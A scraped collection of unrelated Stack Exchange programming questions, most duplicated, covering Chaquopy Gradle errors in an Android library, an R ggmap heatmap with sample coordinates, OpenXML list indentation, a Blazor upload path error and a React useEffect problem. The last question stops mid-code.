问:
build.gradle.kts failed : Unresolved reference python,pip, jni,install
I'm new to android development and working on a Mobile solution, where Python Script has to be executed from android, from the documentation came to know chaquopy plugin should be used to execute Python Script in Android.

The expectation of requirement is to bundle all the dependencies/jars/plugins and python code in Android Library(AAR), and this AAR should be encapsulated in a way without doing any changes to main app should work (since I'm not the owner of the main app, no changes will be allowed)

However, for testing AAR I have a received cloned version of Main App.

Below is the AAR build.gradle.kts file code.

```<code>import org.jetbrains.kotlin.gradle.tasks.KotlinCompile
plugins {
    id("com.android.library")
    kotlin("android")
    id("gradle-pega-android-module" )
    id("com.chaquo.python") version "13.0.0"
}

group = "com.***.***"
version = "0.1-SNAPSHOT"

android {
    compileSdk = 33

    defaultConfig {
        minSdk = 23
        targetSdk = 33

        testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
        python {
                pip {
                install("six")
                install("pandas")

            }
        }
        ndk {
            abiFilters("armeabi-v7a", "arm64-v8a", "x86", "x86_64")
        }

        sourceSets.main {
            jni.srcDirs = listOf()
            jniLibs.srcDir("src/main/libs")
        }
        sourceSets {
            named("main") {
                // let gradle pack the shared library into apk
                jniLibs.srcDirs = listOf("../distribution/gperf/lib","../distribution/conda-android-python/lib")
            }
        }
    }
}

tasks.withType<KotlinCompile> {
    kotlinOptions {
        jvmTarget = "11"
    }
}

dependencies {
    implementation("androidx.appcompat:appcompat:1.4.1")
    androidTestImplementation("androidx.test:runner:1.4.0")
    androidTestImplementation("androidx.test.espresso:espresso-core:3.5.0-alpha06")
    testImplementation("junit:junit:4.12")
    implementation("com.google.mlkit:image-labeling:17.0.7")
    implementation("com.google.android.gms:play-services-mlkit-text-recognition:18.0.2")
    implementation("com.google.android.gms:play-services-mlkit-image-labeling:16.0.8")
    implementation("com.chaquo.python:gradle:13.0.0")
}
</code>```

While doing the build getting below errors.

```<code>Unresolved reference: python
Unresolved reference: pip
Unresolved reference: install
Unresolved reference: install
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public inline operator fun <T : Any, C : NamedDomainObjectContainer<TypeVariable(T)>> TypeVariable(C).invoke(configuration: Action<NamedDomainObjectContainerScope<TypeVariable(T)>>): TypeVariable(C) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(x: Any?): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(vararg xs: Any?): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <V> Callable<TypeVariable(V)>.invoke(): TypeVariable(V) defined in org.gradle.kotlin.dsl
public operator fun <T, R> DeepRecursiveFunction<TypeVariable(T), TypeVariable(R)>.invoke(value: TypeVariable(T)): TypeVariable(R) defined in kotlin
public operator fun <T> Action<in TypeVariable(T)>.invoke(target: TypeVariable(T)): Unit defined in org.gradle.kotlin.dsl
public operator fun <T> NamedDomainObjectProvider<TypeVariable(T)>.invoke(action: TypeVariable(T).() -> Unit): Unit defined in org.gradle.kotlin.dsl
public operator fun ArtifactHandler.invoke(configuration: ArtifactHandlerScope.() -> Unit): Unit defined in org.gradle.kotlin.dsl
public operator fun DependencyConstraintHandler.invoke(configuration: DependencyConstraintHandlerScope.() -> Unit): Unit defined in org.gradle.kotlin.dsl
public inline operator fun <T> ExtraPropertiesExtension.invoke(initialValueProvider: () -> TypeVariable(T)): InitialValueExtraPropertyDelegateProvider<TypeVariable(T)> defined in org.gradle.kotlin.dsl
public operator fun <T> ExtraPropertiesExtension.invoke(initialValue: TypeVariable(T)): InitialValueExtraPropertyDelegateProvider<TypeVariable(T)> defined in org.gradle.kotlin.dsl
public operator fun <T> Spec<TypeVariable(T)>.invoke(arg: TypeVariable(T)): Boolean defined in org.gradle.kotlin.dsl
public inline operator fun TaskContainer.invoke(configuration: TaskContainerScope.() -> Unit): TaskContainer defined in org.gradle.kotlin.dsl
Expression 'main' cannot be invoked as a function. The function 'invoke()' is not found
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public val NamedDomainObjectContainer<KotlinSourceSet>.main: NamedDomainObjectProvider<KotlinSourceSet> defined in org.gradle.kotlin.dsl
Unresolved reference: jni
Variable expected
Not enough information to infer type variable T
Unresolved reference: jniLibs
Function invocation 'srcDirs(...)' expected
Variable expected
Calls to BasePlugin.getExtension() are deprecated and will be removed in AGP 8.0
Script compilation errors:
</code>```

Any inputs or alternate approaches without doing any changes to main app will be great helpful.

Body:
I'm new to android development and working on a Mobile solution, where Python Script has to be executed from android, from the documentation came to know chaquopy plugin should be used to execute Python Script in Android.

The expectation of requirement is to bundle all the dependencies/jars/plugins and python code in Android Library(AAR), and this AAR should be encapsulated in a way without doing any changes to main app should work (since I'm not the owner of the main app, no changes will be allowed)

However, for testing AAR I have a received cloned version of Main App.

Below is the AAR build.gradle.kts file code.

import org.jetbrains.kotlin.gradle.tasks.KotlinCompile
plugins {
    id("com.android.library")
    kotlin("android")
    id("gradle-pega-android-module" )
    id("com.chaquo.python") version "13.0.0"
}

group = "com.***.***"
version = "0.1-SNAPSHOT"

android {
    compileSdk = 33

    defaultConfig {
        minSdk = 23
        targetSdk = 33

        testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
        python {
                pip {
                install("six")
                install("pandas")

            }
        }
        ndk {
            abiFilters("armeabi-v7a", "arm64-v8a", "x86", "x86_64")
        }

        sourceSets.main {
            jni.srcDirs = listOf()
            jniLibs.srcDir("src/main/libs")
        }
        sourceSets {
            named("main") {
                // let gradle pack the shared library into apk
                jniLibs.srcDirs = listOf("../distribution/gperf/lib","../distribution/conda-android-python/lib")
            }
        }
    }
}

tasks.withType<KotlinCompile> {
    kotlinOptions {
        jvmTarget = "11"
    }
}

dependencies {
    implementation("androidx.appcompat:appcompat:1.4.1")
    androidTestImplementation("androidx.test:runner:1.4.0")
    androidTestImplementation("androidx.test.espresso:espresso-core:3.5.0-alpha06")
    testImplementation("junit:junit:4.12")
    implementation("com.google.mlkit:image-labeling:17.0.7")
    implementation("com.google.android.gms:play-services-mlkit-text-recognition:18.0.2")
    implementation("com.google.android.gms:play-services-mlkit-image-labeling:16.0.8")
    implementation("com.chaquo.python:gradle:13.0.0")
}

While doing the build getting below errors.

Unresolved reference: python
Unresolved reference: pip
Unresolved reference: install
Unresolved reference: install
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public inline operator fun <T : Any, C : NamedDomainObjectContainer<TypeVariable(T)>> TypeVariable(C).invoke(configuration: Action<NamedDomainObjectContainerScope<TypeVariable(T)>>): TypeVariable(C) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(x: Any?): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <T> Closure<TypeVariable(T)>.invoke(vararg xs: Any?): TypeVariable(T) defined in org.gradle.kotlin.dsl
public operator fun <V> Callable<TypeVariable(V)>.invoke(): TypeVariable(V) defined in org.gradle.kotlin.dsl
public operator fun <T, R> DeepRecursiveFunction<TypeVariable(T), TypeVariable(R)>.invoke(value: TypeVariable(T)): TypeVariable(R) defined in kotlin
public operator fun <T> Action<in TypeVariable(T)>.invoke(target: TypeVariable(T)): Unit defined in org.gradle.kotlin.dsl
public operator fun <T> NamedDomainObjectProvider<TypeVariable(T)>.invoke(action: TypeVariable(T).() -> Unit): Unit defined in org.gradle.kotlin.dsl
public operator fun ArtifactHandler.invoke(configuration: ArtifactHandlerScope.() -> Unit): Unit defined in org.gradle.kotlin.dsl
public operator fun DependencyConstraintHandler.invoke(configuration: DependencyConstraintHandlerScope.() -> Unit): Unit defined in org.gradle.kotlin.dsl
public inline operator fun <T> ExtraPropertiesExtension.invoke(initialValueProvider: () -> TypeVariable(T)): InitialValueExtraPropertyDelegateProvider<TypeVariable(T)> defined in org.gradle.kotlin.dsl
public operator fun <T> ExtraPropertiesExtension.invoke(initialValue: TypeVariable(T)): InitialValueExtraPropertyDelegateProvider<TypeVariable(T)> defined in org.gradle.kotlin.dsl
public operator fun <T> Spec<TypeVariable(T)>.invoke(arg: TypeVariable(T)): Boolean defined in org.gradle.kotlin.dsl
public inline operator fun TaskContainer.invoke(configuration: TaskContainerScope.() -> Unit): TaskContainer defined in org.gradle.kotlin.dsl
Expression 'main' cannot be invoked as a function. The function 'invoke()' is not found
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public val NamedDomainObjectContainer<KotlinSourceSet>.main: NamedDomainObjectProvider<KotlinSourceSet> defined in org.gradle.kotlin.dsl
Unresolved reference: jni
Variable expected
Not enough information to infer type variable T
Unresolved reference: jniLibs
Function invocation 'srcDirs(...)' expected
Variable expected
Calls to BasePlugin.getExtension() are deprecated and will be removed in AGP 8.0
Script compilation errors:

Any inputs or alternate approaches without doing any changes to main app will be great helpful.


来源: stackexchange

问:
What does IBID mean.?
I am new to the Dev world, please bare with me; I wish to know what IBID stands for; I see this acronym used in an onboarding process description.

This is not that type of question.

ContentLicense: CC BY-SA 4.0

Title: What does IBID mean.?


Title: Is There a Way to Make A More Granular Heatmap with ggmap in R?

Body:
I'm trying to make a heatmap of locations using latitude and longitude. My map works but the points in an area are being grouped together too much. What I want is something like what I have but with the heat traced much more granularly so that you can see smaller differences between places.

This is the relevant code:

bbox <- c(left = -79.1, bottom = 38, right = -71.8, top = 41.5)

coords.map <- get_stamenmap(bbox, zoom = 9, maptype = "toner-lite")
coords.map <- ggmap(coords.map, extent="device", legend="none")

coords.map <- coords.map + stat_density2d(data=recruits2,
  aes(x=MailingLong, y=MailingLat, fill=..level.., alpha=..level..),
  bins = 20, geom = "polygon")
coords.map <- coords.map + scale_fill_gradientn(colours=rev(brewer.pal(20, "Spectral")))

coords.map <- coords.map + theme_bw()
coords.map

This is what I'm getting

Edit: Here is the first 200 rows of recruits from dput

structure(list(MailingLong = c(-77.024196799, -77.003914977,
-76.800101376, -77.116797729, -77.018188811, -77.120614114, -76.975844627,
-77.147034967, -77.089368856, -76.97864858, -76.844030329, -76.9639802739999,
-77.257533391, -76.822314419, -80.0753704429999, -76.551298185,
-76.767346001, -78.7422733669999, -77.2918568269999, -74.252185664,
-77.035277127, -76.957338864, -77.403195991, -77.6319986669999,
-73.944649177, -76.5599475129999, -73.571443862, -76.989599958,
-76.8866457089999, -76.8900467889999, -77.027862935, -76.763716223,
-74.035259712, -77.075101833, -76.9065139969999, -77.009444624,
-76.991265512, -76.998362508, -77.0138546809999, -76.92147388,
-76.937957008, -73.897316132, -77.2021361069999, -76.9865863379999,
-77.057626187, -77.2698420199999, -73.962312531, -77.061793597,
-74.118483634, -73.8812691919999, -84.1753095879999, -76.849177244,
-76.9494415629999, -77.011200646, -77.12310071, -76.8884595649999,
-77.0061180499999, -77.017453829, -76.946342907, -76.980566735,
-76.923624123, -77.010469798, -77.02638151, -76.918852741, -76.9224746959999,
-87.802292575, -76.813914677, -73.9355411179999, -77.0086792399999,
-76.9349190729999, -77.020158344, -76.9487103719999, -73.846362546,
-77.015177632, -80.255301241, -77.428318142, -77.0007635819999,
-76.929540264, -76.947718204, -76.93487089, -77.019630846, -77.018265258,
-73.893035738, -76.887356744, -74.746807223, -76.825205743, -76.8953029259999,
-76.962229153, -77.0435782929999, -73.844867129, -76.926558429,
-76.8879371259999, -73.8547164669999, -76.920915296, -81.556675863,
-77.088045767, -76.8971086939999, -73.2218500929999, -77.283520263,
-77.0097035049999, -73.995325534, -82.7629230599999, -76.952207819,
-77.012592416, -77.0260711729999, -76.942692268, -76.981824075,
-73.261707374, -77.0867976709999, -76.904238182, -77.172019128,
-76.9965300979999, -77.0255964739999, -76.984859179, -76.9812736649999,
-77.081601215, -76.759961416, -74.6169999639999, -77.043506263,
-77.202603773, -76.949909772, -76.9530278129999, -76.7527797119999,
-75.053749344, -76.746774219, -71.778088926, -77.02110899, -76.854547506,
-77.084631879, -76.997437527, -76.901572162, -73.870879122, -76.878514023,
-74.1344631809999, -74.318660444, -82.7075784359999, -74.7182968279999,
-76.797062055, -77.5707813399999, -77.6124343819999, -75.5027960319999,
-76.987749881, -76.9821815619999, -75.828326588, -79.783059322,
-76.9499001519999, -80.259390617, -77.117644909, -77.2343587779999,
-73.8982356609999, -77.472350213, -76.9425510419999, -76.977082436,
-76.9939519549999, -77.1868244199999, -74.7314534239999, -76.965619788,
-77.007779215, -76.967062614, -76.951343771, -77.396949305, -76.999679182,
-76.9883032339999, -77.0871543499999, -76.901727819, -77.106636225,
-75.01563442, -84.127288743, -84.4811913569999, -88.267507704,
-77.011828453, -74.081075439, -72.669365125, -73.007336905, -76.923843066,
-77.019205179, -76.9821401839999, -73.927507514, -77.0365238109999,
-76.695715095, -76.871854318, -76.831811042, -75.341965451, -74.0187008359999,
-76.851878874, -72.8766466989999, -76.9806527699999, -77.327771618,
-73.9872406649999, -73.9230185489999, -74.127273734, -74.050468364,
-77.044012991, -74.068816409, -73.950062444, -76.874810759, -76.976120023,
-77.0778578119999, -77.410060892, -104.726662525), MailingLat = c(38.9681180370001,
38.728353848, 38.795798179, 38.8259334890001, 38.7331564900001,
38.8947512510001, 38.5234046750001, 38.8229569550001, 38.85372949,
38.9289913380001, 39.2386466790001, 38.929587806, 38.7748015860001,
39.4697715190001, 40.4490489200001, 39.126109242, 38.808320123,
35.80390168, 38.605807435, 40.1699337740001, 38.6193497140001,
38.922676057, 38.6439925450001, 39.9533144690001, 40.7054857840001,
39.345963984, 41.1666994920001, 38.81984234, 38.9428468840001,
38.733140373, 38.982152528, 38.824874175, 40.1742035030001, 38.78925345,
39.0010581130001, 38.9664260480001, 38.8579487740001, 38.946905756,
38.8784059170001, 38.902325202, 38.911513062, 40.9063276460001,
38.8638673040001, 38.9097773670001, 38.9240989080001, 38.8797625300001,
40.5770966100001, 38.792493279, 40.6751541570001, 42.8175953150001,
33.5073237140001, 38.9272529080001, 38.8836017150001, 38.8243908630001,
38.8446904240001, 38.8658511960001, 38.917771981, 38.938885574,
38.8719206270001, 38.885876071, 38.8924471080001, 38.833980207,
38.9562671210001, 38.8918037330001, 38.876033218, 41.914514481,
39.3841564950001, 40.8475071350001, 38.8235965260001, 38.9344933350001,
39.0245538930001, 38.639340094, 42.666483283, 38.7850074940001,
36.093245149, 38.210712964, 38.8477400190001, 38.888638916, 38.867858267,
38.8906912090001, 38.929587746, 38.9521219760001, 40.8675224940001,
38.8787024690001, 41.140377415, 38.804541885, 38.852253413, 38.8221755930001,
38.9213773750001, 40.8910776750001, 38.88197389, 39.0817835830001,
40.8247535940001, 38.8854398610001, 30.1117637080001, 39.087920518,
38.940159973, 41.2659053740001, 38.801129729, 38.896368373, 40.8391054510001,
33.720799115, 38.8651627890001, 38.826764516, 38.9238514780001,
38.9046515320001, 38.925578864, 44.0306323230001, 39.035399668,
38.5953835010001, 39.119000919, 38.9563723100001, 38.976737762,
38.960012873, 38.934212899, 38.961016375, 38.6100870970001, 40.2422624710001,
38.9248050900001, 38.85129355, 38.90282683, 38.8914932600001,
38.576783327, 40.0710674210001, 38.62669212, 42.292809602, 38.956420038,
38.845185488, 38.859804126, 38.904392242, 38.9032118310001, 40.6809593840001,
38.887417929, 40.6499415820001, 40.9926879540001, 28.0700605050001,
40.2071700650001, 38.761238259, 38.7582776680001, 38.8111178980001,
39.956535079, 38.8784065950001, 38.903570121, 44.0488523160001,
40.4418602050001, 38.9028348410001, 26.1337374180001, 38.8889284410001,
39.185845467, 40.9479277930001, 38.769957467, 38.869303099, 38.901602515,
38.8247793570001, 38.770411516, 40.1243989540001, 38.935076042,
38.9514988700001, 38.87461904, 38.8908902330001, 38.457439761,
38.8236920620001, 38.883861181, 38.938825771, 38.854090721, 38.715420469,
40.8443550060001, 41.4013022350001, 34.0559358790001, 40.0861231000001,
38.8252308690001, 40.729698834, 42.1328508010001, 40.9432147800001,
38.8837031510001, 38.845665739, 38.84924341, 41.0833210810001,
38.911186511, 39.0930236410001, 39.0773085930001, 38.990928769,
40.633318704, 40.7794771000001, 38.946823571, 41.665512818, 38.929088312,
38.861215551, 40.588697102, 40.830763007, 40.664786738, 41.044012874,
39.077050066, 40.714393369, 40.5922452140001, 38.8516571170001,
38.85133934, 39.059085399, 38.431202824, 38.7833722510001)), row.names = c(1L,
2L, 3L, 4L, 5L, 6L, 7L, 8L, 9L, 10L, 11L, 12L, 13L, 14L, 15L,
16L, 17L, 18L, 19L, 20L, 21L, 23L, 24L, 25L, 26L, 27L, 28L, 29L,
30L, 31L, 32L, 33L, 35L, 36L, 37L, 38L, 39L, 40L, 41L, 42L, 43L,
44L, 45L, 46L, 47L, 48L, 49L, 50L, 51L, 52L, 53L, 54L, 55L, 56L,
57L, 60L, 61L, 62L, 64L, 65L, 66L, 67L, 68L, 69L, 71L, 72L, 73L,
74L, 75L, 77L, 78L, 79L, 80L, 81L, 82L, 83L, 84L, 85L, 86L, 87L,
88L, 89L, 90L, 92L, 93L, 94L, 95L, 96L, 97L, 99L, 100L, 101L,
102L, 103L, 104L, 105L, 106L, 107L, 108L, 109L, 110L, 111L, 112L,
113L, 114L, 115L, 116L, 117L, 118L, 120L, 121L, 122L, 123L, 124L,
125L, 126L, 127L, 128L, 129L, 130L, 131L, 132L, 133L, 134L, 135L,
138L, 140L, 141L, 142L, 143L, 144L, 145L, 146L, 147L, 149L, 150L,
151L, 152L, 153L, 154L, 155L, 156L, 157L, 158L, 159L, 160L, 161L,
162L, 163L, 164L, 165L, 166L, 167L, 168L, 169L, 170L, 171L, 172L,
173L, 174L, 175L, 176L, 177L, 178L, 179L, 180L, 181L, 182L, 183L,
184L, 185L, 186L, 187L, 189L, 190L, 191L, 192L, 193L, 195L, 197L,
198L, 200L, 201L, 202L, 203L, 204L, 205L, 207L, 208L, 209L, 212L,
213L, 214L, 215L, 216L, 217L, 218L, 219L, 220L, 221L), class = "data.frame")


问:
What are some best tools out there to analyze DRAM access pattern?
I want to analyze the memory access patterns (DRAM Accesses and not CPU cache) of a program. For instance, DRAM accesses performed by a program, DRAM hits, DRAM misses, etc. Is there any tool that could help to get such information?</p>


问:
OpenXML Property to Indent Nested List
I created a bullet list with OpenXML. However, I can't figure out how to enable indentation when tab is pressed on a bullet.

Here is the code snippet to create bullet rows:

```<code>var abstractLevel1 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "●"}) {LevelIndex = 0};
        var abstractLevel2 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "○"}) {LevelIndex = 1};
        var abstractLevel3 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "■"}) {LevelIndex = 2};

var abstractNum1 = new AbstractNum(abstractLevel1, abstractLevel2, abstractLevel3) {AbstractNumberId = abstractNumberId};
</code>```

In the created document, when I try to create a sub/nested bullet by hitting tab, it results in the following:

```<code>     ● Apples
  ○    Green Apples
     ● Pears
</code>```

The bullet type changes as I expect but the indentation is wrong for Green Apples.

I took a document that has a working bullet list and converted it to an XML. Here is the section for the bullet list style:

```<code><text:list-style style:name="WWNum1">
  <text:list-level-style-bullet text:level="1" text:style-name="ListLabel_20_1" style:num-suffix="●" text:bullet-char="●">
   <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
    <style:list-level-label-alignment text:label-followed-by="listtab" fo:text-indent="-0.25in" fo:margin-left="0.5in"/>
  </style:list-level-properties>
  </text:list-level-style-bullet>
  <text:list-level-style-bullet text:level="2" text:style-name="ListLabel_20_2" style:num-suffix="○" text:bullet-char="○">
   <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
    <style:list-level-label-alignment text:label-followed-by="listtab" fo:text-indent="-0.25in" fo:margin-left="1in"/>
   </style:list-level-properties>
  </text:list-level-style-bullet>
  <text:list-level-style-bullet text:level="3" text:style-name="ListLabel_20_3" style:num-suffix="■" text:bullet-char="■">
   <style:list-level-properties text:list-level-position-and-space-mode="label-alignment">
    <style:list-level-label-alignment text:label-followed-by="listtab" fo:text-indent="-0.25in" fo:margin-left="1.5in"/>
   </style:list-level-properties>
</code>```

Notice the properties fo:text-indent and fo:margin-left. These properties are missing in the XML document produced by my code. I suspect this is the reason why sub/nested bullets are not being indented as shown in the example above. I searched through the OpenXML documentation and I could not find any information on these 2 properties. Which OpenXML class is responsible for those properties? I'm sure I need to add another argument when I instantiate a Level class but I could not figure out from the doc what it needs to be. Any ideas?

So far I've tried playing around with the ParagraphStyleIdInLevel and Indentation classes to no success.

Title: OpenXML Property to Indent Nested List

Body:
I created a bullet list with OpenXML. However, I can't figure out how to enable indentation when tab is pressed on a bullet.

Here is the code snippet to create bullet rows:

var abstractLevel1 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "●"}) {LevelIndex = 0};
        var abstractLevel2 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "○"}) {LevelIndex = 1};
        var abstractLevel3 = new Level(new NumberingFormat() {Val = NumberFormatValues.Bullet}, new LevelText() {Val = "■"}) {LevelIndex = 2};

var abstractNum1 = new AbstractNum(abstractLevel1, abstractLevel2, abstractLevel3) {AbstractNumberId = abstractNumberId};

In the created document, when I try to create a sub/nested bullet by hitting tab, it results in the following:

     ● Apples
  ○    Green Apples
     ● Pears

The bullet type changes as I expect but the indentation is wrong for Green Apples.

I took a document that has a working bullet list and converted it to an XML. Here is the section for the bullet list style:

<text:list-style style:name="WWNum1">
  <text:list-level-style-bullet text:level="1" text:style-name="ListLabel_20_1" style:num-suffix="●" text:bullet-char="●">

  </text:list-level-style-bullet>
  <text:list-level-style-bullet text:level="2" text:style-name="ListLabel_20_2" style:num-suffix="○" text:bullet-char="○">

  </text:list-level-style-bullet>
  <text:list-level-style-bullet text:level="3" text:style-name="ListLabel_20_3" style:num-suffix="■" text:bullet-char="■">

Notice the properties fo:text-indent and fo:margin-left. These properties are missing in the XML document produced by my code. I suspect this is the reason why sub/nested bullets are not being indented as shown in the example above. I searched through the OpenXML documentation and I could not find any information on these 2 properties. Which OpenXML class is responsible for those properties? I'm sure I need to add another argument when I instantiate a Level class but I could not figure out from the doc what it needs to be. Any ideas?

So far I've tried playing around with the ParagraphStyleIdInLevel and Indentation classes to no success.


问:
Blazor Server URL upload file path
I've read the questions asked but I still need help.

In a Blazor Server App, working on the cloud I tried and compose the path like

```<code>var root = $"{env.WebRootPath}";
 var folder = "wwwroot/UploadedFIles";
 var fname = $"{file.Name}";
 path = Path.Combine(root, folder, fname);
</code>```

But when I run the app it is giving me an access denied error.

'D:\Inetpub\vhosts\MyMainSite.com\MySubsite.com\wwwroot\UploadedFIles\ANTH.CFG' is denied.

Title: Blazor Server URL upload file path

Body:
I've read the questions asked but I still need help.

In a Blazor Server App, working on the cloud I tried and compose the path like

var root = $"{env.WebRootPath}";
 var folder = "wwwroot/UploadedFIles";
 var fname = $"{file.Name}";
 path = Path.Combine(root, folder, fname);

But when I run the app it is giving me an access denied error.

'D:\Inetpub\vhosts\MyMainSite.com\MySubsite.com\wwwroot\UploadedFIles\ANTH.CFG' is denied.


问:
3D icons as navigation and splash screen?
I’m trying to learn how to create and code 3D icons like this (image attached) they are also rotating continuously and in slow speed. Also the splash screen before you hit > Press Start. Here’s the website I’m referring to awge.com

I’m guessing it’s a lot of three.js and css? I’m still relatively new, so forgive me, lol. But I’d like to know how to learn this.


问:
I'd like to render the use effect per map()
I want to repeat the components through the map and display the information that received the aixos on each tag, but when I checked, only the last value of the repetition is being posted.
When I printed it out as console, the value of searchHospitalAdd, searchHospitalName didn't change immediately, and it seems that only the last value is included

Value is not reflected through usestate()
Why is it like this? Am I using it wrong?
Or is the problem with the time to reply after sending the post request? I don't think this is right, but I don't know

I mean the SetPendPatientView tag!
We're developing React and Django drf

I want you to give me a solution

```<code>const Hospitals = () => {
    const state = useLocation().state;
    const [hospitals, setHospitals] = useState([]);
    const [ScrollActive, setScrollActive] = useState(false);
    const [hospitalInfoModalOn, setHospitalInfoModalOn] = useState(false);
    const [hospitalInfo, setHospitalInfo] = useState([]);
    const [wait_count, setWait_count] = useState('');

    const [searchHospitalAdd, setSearchHospitalAdd] = useState('');
    const [searchHospitalName, setSearchHospitalName] = useState('');

    useEffect(() => {
        axios
            .post('http://localhost:8000/patient/hospital_srch/', { hospitalDep: state.hospital_dep })
            .then(function (response) {
                const hospital = JSON.parse(response.data);
                setHospitals(hospital);
                console.log(state.hospital_dep);
                console.log(hospital);
            })
            .catch(function (error) {
                alert(error);
            });

        return () => {};
    }, [state]);

    useEffect(() => {
        axios
            .post(
                'http://localhost:8000/reservation/wait_search/',
                { hospital_address: searchHospitalAdd, hospital_name: searchHospitalName },
                {
                    headers: {
                        Authorization: `Token ${sessionStorage.getItem('token')}`
                    }
                }
            )
            .then(function (response) {
                setWait_count('안녕');
            })
            .catch(function (error) {
                setWait_count('현재 대기중인 환자가 없습니다.');
            });

        return () => {};
    }, [searchHospitalAdd, searchHospitalName]);

    function SetPendPatientView({ hos_add, hos_name }) {
        setSearchHospitalAdd(hos_add);
        console.log(searchHospitalAdd);
        setSearchHospitalName(hos_name);
        console.log(searchHospitalName);
        // console.log(searchHospitalAdd);
        if (isNaN(wait_count)) {
            return (
                <Typography variant="h4" align="center" style={{ color: '#5E35B1' }}>
                    {wait_count}
                </Typography>
            );
        } else {
            <Typography variant="h4" align="center" style={{ color: '#5E35B1' }}>
                현재 예약대기 인원 : {wait_count}
            </Typography>;
        }
    }

    return (
        <>
            <Box>
                <MainCard
                    title={`${state.hospital_dep}` + ' 목록'}
                    secondary={<SecondaryAction link="https://next.material-ui.com/system/typography/" />}
                >
                    <Grid container spacing={gridSpacing}>
                        <Grid item xs={12} sm={12} md={12} lg={12}>
                            {hospitals.map((hospital) => {
                                return (
                                    <Box
                                        onClick={() => {
                                            setHospitalInfoModalOn(true);
                                            setHospitalInfo(hospital.fields);
                                        }}
                                    >
                                        <SubCard title={`${hospital.fields.hospital_name}`}>
                                            <Box sx={{ mt: 1, mb: 1.5 }}>
                                                <Grid container display="flex">
                                                    <Grid item sx={{ mr: 1.5 }}>
                                                        <Grid container display="grid">
                                                            <Grid item sx={{ mb: 1 }}>
                                                                <FontAwesomeIcon icon={faLocationDot} style={{ color: '#90CAF9' }} />
                                                            </Grid>
                                                            <Grid item>
                                                                <FontAwesomeIcon icon={faPhone} style={{ color: '#90CAF9' }} />
                                                            </Grid>
                                                        </Grid>
                                                    </Grid>
                                                    <Grid item>
                                                        <Grid container display="grid">
                                                            <Grid item sx={{ mb: 0.5 }}>
                                                                <Typography variant="body2">{hospital.fields.hospital_address}</Typography>
                                                            </Grid>
                                                            <Grid item>
                                                                <Typography variant="body2">
                                                                    {hospital.fields.hospital_phone_number}
                                                                </Typography>
                                                            </Grid>
                                                        </Grid>
                                                    </Grid>
                                                </Grid>
                                            </Box>
                                            <Box>
                                                <SetPendPatientView
                                                    hos_add={hospital.fields.hospital_address}
                                                    hos_name={hospital.fields.hospital_name}
                                                />
                                            </Box>
                                        </SubCard>
                                        <br />
                                    </Box>
                                );
                            })}
                        </Grid>
                    </Grid>
                </MainCard>
            </Box>
            <HospitalInfoModal show={hospitalInfoModalOn} onHide={() => setHospitalInfoModalOn(false)} hospital={hospitalInfo} />
        </>
    );
};

export default Hospitals;

</code>```

Body:
I want to repeat the components through the map and display the information that received the aixos on each tag, but when I checked, only the last value of the repetition is being posted.
When I printed it out as console, the value of searchHospitalAdd, searchHospitalName didn't change immediately, and it seems that only the last value is included

Value is not reflected through usestate()
Why is it like this? Am I using it wrong?
Or is the problem with the time to reply after sending the post request? I don't think this is right, but I don't know

I mean the SetPendPatientView tag!
We're developing React and Django drf

I want you to give me a solution

const Hospitals = () => {
    const state = useLocation().state;
    const [hospitals, setHospitals] = useState([]);
    const [ScrollActive, setScrollActive] = useState(false);
    const [hospitalInfoModalOn, setHospitalInfoModalOn] = useState(false);
    const [hospitalInfo, setHospitalInfo] = useState([]);
    const [wait_count, setWait_count] = useState('');

    const [searchHospitalAdd, setSearchHospitalAdd] = useState('');
    const [searchHospitalName, setSearchHospitalName] = useState('');

    useEffect(() => {
        axios
            .post('http://localhost:8000/patient/hospital_srch/', { hospitalDep: state.hospital_dep })
            .then(function (response) {
                const hospital = JSON.parse(response.data);
                setHospitals(hospital);
                console.log(state.hospital_dep);
                console.log(hospital);
            })
            .catch(function (error) {
                alert(error);
            });

        return () => {};
    }, [state]);

    useEffect(() => {
        axios
            .post(
                'http://localhost:8000/reservation/wait_search/',
                { hospital_address: searchHospitalAdd, hospital_name: searchHospitalName },
                {
                    headers: {
                        Authorization: `Token ${sessionStorage.getItem('token')}`
                    }
                }
            )
            .then(function (response) {
                setWait_count('안녕');
            })
            .catch(function (error) {
                setWait_count('현재 대기중인 환자가 없습니다.');
            });

        return () => {};
    }, [searchHospitalAdd, searchHospitalName]);

    function SetPendPatientView({ hos_add, hos_name }) {
        setSearchHospitalAdd(hos_add);
        console.log(searchHospitalAdd);
        setSearchHospitalName(hos_name);
        console.log(searchHospitalName);
        // console.log(searchHospitalAdd);
        if (isNaN(wait_count)) {
            return (
                <Typography variant="h4" align="center" style={{ color: '#5E35B1' }}>
                    {wait_count}
                </Typography>
            );
        } else {
            <Typography variant="h4" align="center" style={{ color: '#5E35B1' }}>
                현재 예약대기 인원 : {wait_count}
            </Typography>;
        }
    }

    return (
        <>
            <Box>
                <MainCard
                    title={`${state.hospital_dep}` + ' 목록'}
                    secondary={<SecondaryAction link="https://next.material-ui.com/system/typography/" />}
                >
                    <Grid container spacing={gridSpacing}>
                        <Grid item xs={12} sm={12} md={12} lg={12}>
                            {hospitals.map((hospital) => {
                                return (
